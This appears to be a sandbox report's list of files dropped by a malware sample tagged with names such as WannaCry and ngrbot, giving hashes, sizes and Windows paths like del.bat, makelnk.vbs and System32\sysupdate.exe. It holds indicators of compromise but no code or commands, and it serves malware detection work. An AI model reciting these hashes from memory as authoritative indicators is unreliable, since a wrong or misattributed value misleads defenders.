- SHA256 af86f6cb44a71680457ae9be96c6befa593d36c970e238cb655275e5eece03ca
- MD5 88e07bcfabb38b0772d8b3fda9fe3bc6
- SHA1 dd5f663b0fb1468d857093e256fae3cb494b4c42
- SHA512 2b2471ebe6f6d3f87dde57684c6c0cf6f484b5a21411bf1c198f0b74d71045de1c640dc057813718aae7b6ed759ec8e5953c03396362c24fcf4032fef4e7a8c2
- SSDEEP 1536:S2Rveo0zwn1+7cRMa3EJb2TeDTkXVEVO8IWoqojXQQdGU4I13VxAd8E1Iu:SgvQzwnA81EQ6TkFz5XQQoRIJVxAd8E7
- TLSH T1CF632B738A23FCC5677F3D40F0542D920C883A678775676CFBC90A9538A6688DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_24yxlzxy.4ce.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 feb63490517efd047419ae7f4f73b9f7eccb09c6f03a3a1edcbc44800b50f294
- MD5 77b0588f463d789ca0cd058cca01a159
- SHA1 0a976c7e5597fe22e4d9b03b014ea49851f18509
- SHA512 a3c65456d4ec95ff4a0e84ddb5bf93d297ca2936d72dc741d8cecff463efbe9b120b0dfe7df731aec323189965d4b30cdecc916030d890c6818b99e460bdab39
- TLSH T197E0E747710CC55900066227C0F24E4CD5E4546C3F27FF3057A0DD4D3E528C548F5043
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 1ebed5a55c4314e8eee601f369157ac9656944983108f28c8f7da081890ea751
- MD5 7135ee76a5c81bb4c3af88e0867f191e
- SHA1 fe9225ea37e73370204fbd935ddeab3443a69830
- SHA512 2dc4573860ac1bf7f04394037eb6e003a24bc21fd4a749b8355b26f0cccad621834311f5716d503fbd81c2742216fa3d001ace62476e7ed3badc2aefe595b139
- TLSH T1F1E07D87611CC5590006622B80F24E4CD6D0556C2E27FE309760DD0E3A4288548F5042
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 e7d53490f40aa0334e31f4e53aa9b7e7ad237fef0ff91c73411b628f4fc34460
- MD5 2a4281a324dbf77ab72d94e1764d0b11
- SHA1 00716afd8cd4df5449da1dad55894899b5a616a4
- SHA512 2eceb1bab12cdfa0b58993c776658cf9e6fc3c0f41a6f0597df7b88c6d9bf6b7105d1e404f6d1c5f5e8b5e7b4df13fb2776d1f8e7fe1fc187f5996b7bb1ad72e
- SSDEEP 768:8rVZZ6zs0h16cFdQuSoq1/NKPzfX/fofw4/8A:qZ6HhIxB1GP/fofw4/8A
- TLSH T11D33064437ED4521E1BF9ABE89B251128731F463DC23DB9E1AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH